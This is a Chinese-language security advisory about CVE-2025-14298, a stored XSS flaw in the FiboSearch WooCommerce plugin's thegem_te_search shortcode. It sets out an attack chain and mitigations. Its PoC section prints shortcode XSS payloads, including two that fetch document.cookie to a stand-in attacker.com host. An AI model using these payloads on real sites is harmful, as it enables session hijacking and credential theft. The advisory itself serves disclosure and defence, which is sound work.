IPBUF安全漏洞报告
English
CVE-2025-14298 CVSS 5.4 中危

CVE-2025-14298 FiboSearch插件thegem_te_search短代码存储型XSS漏洞

披露日期: 2025-12-20

漏洞信息

漏洞编号
CVE-2025-14298
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
FiboSearch – Ajax Search for WooCommerce (WordPress插件)

相关标签

存储型XSSWordPress插件漏洞短代码注入CVE-2025-14298FiboSearchWooCommerceTheGem主题跨站脚本攻击CVSS 5.4中危漏洞

漏洞概述

FiboSearch – Ajax Search for WooCommerce是WordPress平台上一款广受欢迎的WooCommerce搜索增强插件。该插件在1.32.0及以下所有版本中存在一处严重的存储型跨站脚本漏洞。漏洞源于插件的thegem_te_search短代码功能对用户输入的属性值缺乏充分的输入过滤和输出转义处理。攻击者只需拥有WordPress网站的Contributor级别权限(及以上),即可利用此漏洞在受影响的页面中注入任意JavaScript脚本。由于是存储型XSS,恶意脚本会被永久保存在数据库中,当其他用户访问包含恶意代码的页面时,脚本将自动执行,可能导致会话劫持、敏感信息窃取、管理后台被接管等严重后果。此漏洞的利用条件较为特殊,需要网站同时安装TheGem高级主题并启用其Header Builder模式,同时FiboSearch插件的"Replace search bars"选项需开启以启用TheGem集成功能。

技术细节

该漏洞的核心问题在于短代码属性处理过程中缺少适当的输入验证和输出编码。FiboSearch插件的thegem_te_search短代码在处理用户提供的属性参数时,直接将未经过滤的数据传递给前端渲染逻辑。具体而言,问题代码位于插件partials/themes/thegem-elementor.php文件的第94行和第104行附近。攻击者可以通过构造带有恶意JavaScript代码的属性值(如在短代码参数中注入onerror、onload等事件处理器或script标签)来实现XSS攻击。由于插件使用echo或直接输出HTML的方式渲染内容,而没有对属性值进行htmlspecialchars()或esc_html()等转义处理,导致恶意脚本被浏览器解析执行。攻击者利用Contributor权限创建或编辑文章/页面,在其中嵌入包含恶意短代码的内容,即可实现持久化攻击。访问该页面的任何用户都会触发恶意脚本,包括管理员和其他高权限用户。

攻击链分析

STEP 1
1. 环境准备
目标WordPress网站需同时安装FiboSearch插件(≤1.32.0)、TheGem高级主题并启用Header Builder模式,以及开启FiboSearch的TheGem集成选项
STEP 2
2. 获取低权限账户
攻击者拥有WordPress Contributor级别或更高权限的账户,可登录后台创建或编辑内容
STEP 3
3. 构造恶意短代码
攻击者在页面/文章编辑器的HTML模式或短代码块中插入带有XSS payload的thegem_te_search短代码,利用插件对属性值缺少过滤的缺陷
STEP 4
4. 发布含毒内容
攻击者发布或更新包含恶意短代码的文章/页面,payload被永久存储在数据库中
STEP 5
5. 诱导受害者访问
普通用户或管理员访问攻击者植入的页面,浏览器解析页面时执行注入的JavaScript代码
STEP 6
6. 恶意脚本执行
XSS payload在受害者浏览器中执行,可窃取Cookie、会话令牌、用户敏感信息,甚至利用管理员权限进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- FiboSearch Stored XSS PoC via thegem_te_search shortcode --> <!-- Requires: Contributor+ access, TheGem theme with Header Builder, FiboSearch TheGem integration enabled --> <!-- Basic XSS PoC --> [thegem_te_search placeholder='<img src=x onerror=alert(document.cookie)>'] <!-- Cookie stealing PoC --> [thegem_te_search class='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Advanced payload using event handlers --> [thegem_te_search input_id='test" onfocus="alert(document.domain)" autofocus x='] <!-- Stored XSS via shortcode attribute --> [thegem_te_search icon='<svg onload=fetch("https://attacker.com/log?data="+btoa(document.cookie))>'] <!-- Steps to exploit: 1. Login as Contributor or higher role 2. Create/Edit a post or page 3. Add the shortcode with malicious payload 4. Publish the content 5. Any user visiting the page will execute the injected JavaScript -->

影响范围

FiboSearch – Ajax Search for WooCommerce < 1.32.0

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时措施:1)暂时禁用TheGem主题的Header Builder模式或关闭FiboSearch的TheGem集成功能;2)限制Contributor及以下权限用户的文章发布和编辑操作,要求更高权限用户审核;3)部署Web应用防火墙(WAF)规则拦截包含XSS特征的请求;4)启用Strict CSP策略阻止内联脚本执行;5)定期审查网站内容,排查是否存在可疑的短代码注入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表